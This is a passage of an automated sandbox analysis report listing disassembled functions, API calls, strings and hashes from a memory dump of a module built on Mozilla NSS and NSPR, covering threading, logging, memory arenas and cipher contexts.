Part of subcall function 6CA707A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CA0204A), ref: 6CA707AD
Part of subcall function 6CA707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA0204A), ref: 6CA707CD
Part of subcall function 6CA707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA0204A), ref: 6CA707D6
Part of subcall function 6CA707A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CA0204A), ref: 6CA707E4
Part of subcall function 6CA707A0: TlsSetValue.KERNEL32(00000000,?,6CA0204A), ref: 6CA70864
Part of subcall function 6CA707A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CA70880
Part of subcall function 6CA707A0: TlsSetValue.KERNEL32(00000000,?,?,6CA0204A), ref: 6CA708CB
Part of subcall function 6CA707A0: TlsGetValue.KERNEL32(?,?,6CA0204A), ref: 6CA708D7
Part of subcall function 6CA707A0: TlsGetValue.KERNEL32(?,?,6CA0204A), ref: 6CA708FB

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID:
API String ID: 2446853827-0
Opcode ID: 50dcec702a65848e007728eaec73ea27999913e72bfd57d3357ed083f3b9dff8
Instruction ID: fda8ea9ecd25f35b526f592e28621925c064cc7744cabd4f8d34640330d71bac
Opcode Fuzzy Hash: 50dcec702a65848e007728eaec73ea27999913e72bfd57d3357ed083f3b9dff8
Instruction Fuzzy Hash: 4251F7B5D00604AFEB009F75EC458AA77B8FF05358B188624ED1C97B12E731E9A9C7E1

Function 6CA04C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CA03921,6CBE14E4,6CB4CC70), ref: 6CA04C97
EnterCriticalSection.KERNEL32(?,?,?,?,6CA03921,6CBE14E4,6CB4CC70), ref: 6CA04CB0
PR_Unlock.NSS3(?,?,?,?,?,6CA03921,6CBE14E4,6CB4CC70), ref: 6CA04CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6CA03921,6CBE14E4,6CB4CC70), ref: 6CA04D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CA03921,6CBE14E4,6CB4CC70), ref: 6CA04D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6CA03921,6CBE14E4,6CB4CC70), ref: 6CA04D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6CA03921,6CBE14E4,6CB4CC70), ref: 6CA04D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CA03921,6CBE14E4,6CB4CC70), ref: 6CA04D97
PR_Lock.NSS3(?,?,?,?,?,6CA03921,6CBE14E4,6CB4CC70), ref: 6CA04DBA
PR_WaitCondVar.NSS3 ref: 6CA04DD4
PR_Unlock.NSS3(?,?,?,?,?,6CA03921,6CBE14E4,6CB4CC70), ref: 6CA04DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CA03921,6CBE14E4,6CB4CC70), ref: 6CA04DEF

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 425337670ddc38eb2cce28d677bdf6860525b3c1becb380f47d0de8c6e7d0706
Instruction ID: b2d5e015fe60ff6b4dd3f71e9f87dfbae8cb6697c0f5324f389fded300a6cf7e
Opcode Fuzzy Hash: 425337670ddc38eb2cce28d677bdf6860525b3c1becb380f47d0de8c6e7d0706
Instruction Fuzzy Hash: 03418CB5A04B55CFCB00AF78E184159BBB4BF0A398F198669D888DB711E730E8C4CB81

Function 6CA70600 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 84stringlibraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?), ref: 6CA70623
GetLastError.KERNEL32(?,?,?,?,?,6CA705E2), ref: 6CA70642
TlsGetValue.KERNEL32(?,?,?,?,?,6CA705E2), ref: 6CA7065D
GetLastError.KERNEL32 ref: 6CA70678
PR_snprintf.NSS3(?,00000014,error %d,00000000), ref: 6CA7068A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA70693
PR_SetErrorText.NSS3(00000000,?), ref: 6CA7069D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,1DB66498,?,?,?,?,?,6CA705E2), ref: 6CA706CA
PR_SetError.NSS3(FFFFE8A9,00000000,?,?,?,?,?,6CA705E2), ref: 6CA706E6

Strings

error %d, xrefs: 6CA70682

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Error$Last$AddressProcR_snprintfTextValuestrcmpstrlen
String ID: error %d
API String ID: 4000364758-2147592115
Opcode ID: 941e3b2fe661393b5534dfb0e6f218e19d93a727eb097cc8eb9f0e786ebd5d82
Instruction ID: 4319a6515169769f59ba4d1109dd1fb75ee9bc6cc9b6306714e2c46ac51bd661
Opcode Fuzzy Hash: 941e3b2fe661393b5534dfb0e6f218e19d93a727eb097cc8eb9f0e786ebd5d82
Instruction Fuzzy Hash: 25213B79E001809BEB206B39DD14BDA7778BF8231DF190124E808D7B51EB72A594C7F1

Function 6CACECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6CACDE64), ref: 6CACED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CACED22

Part of subcall function 6CADB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CBB18D0,?), ref: 6CADB095

PL_FreeArenaPool.NSS3(?), ref: 6CACED4A
PL_FinishArenaPool.NSS3(?), ref: 6CACED6B
PR_CallOnce.NSS3(6CBE2AA4,6CAE12D0), ref: 6CACED38

Part of subcall function 6CA04C70: TlsGetValue.KERNEL32(?,?,?,6CA03921,6CBE14E4,6CB4CC70), ref: 6CA04C97
Part of subcall function 6CA04C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CA03921,6CBE14E4,6CB4CC70), ref: 6CA04CB0
Part of subcall function 6CA04C70: PR_Unlock.NSS3(?,?,?,?,?,6CA03921,6CBE14E4,6CB4CC70), ref: 6CA04CC9

SECOID_FindOID_Util.NSS3(?), ref: 6CACED52
PR_CallOnce.NSS3(6CBE2AA4,6CAE12D0), ref: 6CACED83
PL_FreeArenaPool.NSS3(?), ref: 6CACED95
PL_FinishArenaPool.NSS3(?), ref: 6CACED9D

Part of subcall function 6CAE64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CAE127C,00000000,00000000,00000000), ref: 6CAE650E

Strings

security, xrefs: 6CACED06

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: a1d23939879e71130b0071ef900a47a679854d82226d66e008c6c5e1087b17f4
Instruction ID: 9010c51195ce4fafcb4c7e0df6fc70501c3bbc92c48a5e4071407b84ba4d7f8b
Opcode Fuzzy Hash: a1d23939879e71130b0071ef900a47a679854d82226d66e008c6c5e1087b17f4
Instruction Fuzzy Hash: C8116A7AB002196BE6125721AD46BBF7278BF0974CF040D38E90072F41FB20A58CD6E7

Function 6CAB2CD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6CAB2CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6CAB2D07

Part of subcall function 6CB909D0: PR_Now.NSS3 ref: 6CB90A22
Part of subcall function 6CB909D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CB90A35
Part of subcall function 6CB909D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CB90A66
Part of subcall function 6CB909D0: PR_GetCurrentThread.NSS3 ref: 6CB90A70
Part of subcall function 6CB909D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CB90A9D
Part of subcall function 6CB909D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CB90AC8
Part of subcall function 6CB909D0: PR_vsmprintf.NSS3(?,?), ref: 6CB90AE8
Part of subcall function 6CB909D0: EnterCriticalSection.KERNEL32(?), ref: 6CB90B19
Part of subcall function 6CB909D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CB90B48
Part of subcall function 6CB909D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CB90C76
Part of subcall function 6CB909D0: PR_LogFlush.NSS3 ref: 6CB90C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CAB2D22

Part of subcall function 6CB909D0: OutputDebugStringA.KERNEL32(?), ref: 6CB90B88
Part of subcall function 6CB909D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CB90C5D
Part of subcall function 6CB909D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CB90C8D
Part of subcall function 6CB909D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CB90C9C
Part of subcall function 6CB909D0: OutputDebugStringA.KERNEL32(?), ref: 6CB90CD1
Part of subcall function 6CB909D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CB90CEC
Part of subcall function 6CB909D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CB90CFB
Part of subcall function 6CB909D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CB90D16
Part of subcall function 6CB909D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CB90D26
Part of subcall function 6CB909D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CB90D35
Part of subcall function 6CB909D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6CB90D65
Part of subcall function 6CB909D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CB90D70
Part of subcall function 6CB909D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CB90D90
Part of subcall function 6CB909D0: free.MOZGLUE(00000000), ref: 6CB90D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CAB2D3B

Part of subcall function 6CB909D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CB90BAB
Part of subcall function 6CB909D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CB90BBA
Part of subcall function 6CB909D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CB90D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6CAB2D54

Part of subcall function 6CB909D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB90BCB
Part of subcall function 6CB909D0: EnterCriticalSection.KERNEL32(?), ref: 6CB90BDE
Part of subcall function 6CB909D0: OutputDebugStringA.KERNEL32(?), ref: 6CB90C16

Strings

ulPinLen = %d, xrefs: 6CAB2D36
pPin = 0x%p, xrefs: 6CAB2D1D
pLabel = 0x%p, xrefs: 6CAB2D4F
slotID = 0x%x, xrefs: 6CAB2D02
C_InitToken, xrefs: 6CAB2CE7

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken
API String ID: 420000887-1567254798
Opcode ID: 9a6c2938af412dd7d7915d4dc08e689b38f39730e0ac92498d167e333d22448d
Instruction ID: 933ef6b386db25f38e7f0d2efcde4911a89a5c3f6fc65eb2ef9fdc5f82a564ec
Opcode Fuzzy Hash: 9a6c2938af412dd7d7915d4dc08e689b38f39730e0ac92498d167e333d22448d
Instruction Fuzzy Hash: C5210779200185EFDB40DF94ED8CA493BB9EB4A75DF488225F504A3622DF318D89CB62

Function 6CB90EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6CA72357), ref: 6CB90EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6CA72357), ref: 6CB90EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CB90EE6

Part of subcall function 6CB909D0: PR_Now.NSS3 ref: 6CB90A22
Part of subcall function 6CB909D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CB90A35
Part of subcall function 6CB909D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CB90A66
Part of subcall function 6CB909D0: PR_GetCurrentThread.NSS3 ref: 6CB90A70
Part of subcall function 6CB909D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CB90A9D
Part of subcall function 6CB909D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CB90AC8
Part of subcall function 6CB909D0: PR_vsmprintf.NSS3(?,?), ref: 6CB90AE8
Part of subcall function 6CB909D0: EnterCriticalSection.KERNEL32(?), ref: 6CB90B19
Part of subcall function 6CB909D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CB90B48
Part of subcall function 6CB909D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CB90C76
Part of subcall function 6CB909D0: PR_LogFlush.NSS3 ref: 6CB90C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CB90EFA

Part of subcall function 6CA7AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CA7AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB90F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB90F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB90F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB90F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6CB90ED9, 6CB90EE5, 6CB90F06, 6CB90F0B
Aborting, xrefs: 6CB90EB3

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: add7a0adeece0a794f6765b4b5b0b8a0b092d3df601b6cd2ab9a8123b32c9af4
Instruction ID: d9a7035f9c58d3ba6b05ae22c7b91fff901714b144fe8d7cee244cc2a1981ba4
Opcode Fuzzy Hash: add7a0adeece0a794f6765b4b5b0b8a0b092d3df601b6cd2ab9a8123b32c9af4
Instruction Fuzzy Hash: 49F0AFB99001687BEA007FA09C4AC9B3F3DEF8A264F004024FD0957602DA36E91496B7

Function 6CAF4DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6CAF4DCB

Part of subcall function 6CAE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CA887ED,00000800,6CA7EF74,00000000), ref: 6CAE1000
Part of subcall function 6CAE0FF0: PR_NewLock.NSS3(?,00000800,6CA7EF74,00000000), ref: 6CAE1016
Part of subcall function 6CAE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CA887ED,00000008,?,00000800,6CA7EF74,00000000), ref: 6CAE102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6CAF4DE1

Part of subcall function 6CAE10C0: TlsGetValue.KERNEL32(?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE10F3
Part of subcall function 6CAE10C0: EnterCriticalSection.KERNEL32(?,?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE110C
Part of subcall function 6CAE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE1141
Part of subcall function 6CAE10C0: PR_Unlock.NSS3(?,?,?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE1182
Part of subcall function 6CAE10C0: TlsGetValue.KERNEL32(?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6CAF4DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CAF4E59

Part of subcall function 6CADFAB0: free.MOZGLUE(?,-00000001,?,?,6CA7F673,00000000,00000000), ref: 6CADFAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CBB300C,00000000), ref: 6CAF4EB8
SECOID_FindOID_Util.NSS3(?), ref: 6CAF4EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6CAF4F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CAF521A

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: 0ae364f49d5dc1848d40a6aa373bac8e626bcf310eeb78719b3fc37496f3e71e
Instruction ID: b03fbffa4f235bd307293f8c1fc8b8da79d116eecb52918d6d32d79959fbb999
Opcode Fuzzy Hash: 0ae364f49d5dc1848d40a6aa373bac8e626bcf310eeb78719b3fc37496f3e71e
Instruction Fuzzy Hash: F1F17C71E00209CFDB04CF58D9407ADB7B2BF49358F298169E925AB781E775E9C2CB90

Function 6CAF0C60 Relevance: 16.7, APIs: 11, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CAF2C2A), ref: 6CAF0C81

Part of subcall function 6CADBE30: SECOID_FindOID_Util.NSS3(6CA9311B,00000000,?,6CA9311B,?), ref: 6CADBE44

Part of subcall function 6CAC8500: SECOID_GetAlgorithmTag_Util.NSS3(6CAC95DC,00000000,00000000,00000000,?,6CAC95DC,00000000,00000000,?,6CAA7F4A,00000000,?,00000000,00000000), ref: 6CAC8517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CAF0CC4

Part of subcall function 6CADFAB0: free.MOZGLUE(?,-00000001,?,?,6CA7F673,00000000,00000000), ref: 6CADFAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CAF0CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6CAF0D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6CAF0D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6CAF0D7D
free.MOZGLUE(00000000), ref: 6CAF0DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CAF0DC1
free.MOZGLUE(00000000), ref: 6CAF0DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CAF0E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CAF0E0F

Part of subcall function 6CAC95C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6CAA7F4A,00000000,?,00000000,00000000), ref: 6CAC95E0
Part of subcall function 6CAC95C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6CAA7F4A,00000000,?,00000000,00000000), ref: 6CAC95F5
Part of subcall function 6CAC95C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6CAC9609
Part of subcall function 6CAC95C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CAC961D
Part of subcall function 6CAC95C0: PK11_GetInternalSlot.NSS3 ref: 6CAC970B
Part of subcall function 6CAC95C0: PK11_FreeSymKey.NSS3(00000000), ref: 6CAC9756
Part of subcall function 6CAC95C0: PK11_GetIVLength.NSS3(?), ref: 6CAC9767
Part of subcall function 6CAC95C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6CAC977E
Part of subcall function 6CAC95C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CAC978E

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID:
API String ID: 3136566230-0
Opcode ID: dddf8aafe784732b9c389b0c423e393b085e62f8b6f5c03f2598ac2b843ac2ff
Instruction ID: d296ba01f80d2c6d414e81199a061aa83f4cf50c9dde78b056f0a58218b2dd01
Opcode Fuzzy Hash: dddf8aafe784732b9c389b0c423e393b085e62f8b6f5c03f2598ac2b843ac2ff
Instruction Fuzzy Hash: 7141C2B190024AABEB009F64DD45BAF7678AF0430CF144128E92567741EB35AA99CBF2

Function 6CA84FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6CBD0148,?,6CA96FEC), ref: 6CA8502A
PR_NewLock.NSS3(00000001,00000000,6CBD0148,?,6CA96FEC), ref: 6CA85034
PL_NewHashTable.NSS3(00000000,6CADFE80,6CADFD30,6CB2C350,00000000,00000000,00000001,00000000,6CBD0148,?,6CA96FEC), ref: 6CA85055
PL_NewHashTable.NSS3(00000000,6CADFE80,6CADFD30,6CB2C350,00000000,00000000,?,00000001,00000000,6CBD0148,?,6CA96FEC), ref: 6CA8506D

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: c571ca9874a4ff19ea23d92a43b107f2e92327189b714d25a47a961562b9cf3d
Instruction ID: d0a999099985089c971f4a57782c99eec18b5c2ae18291bdeb53d443587024a3
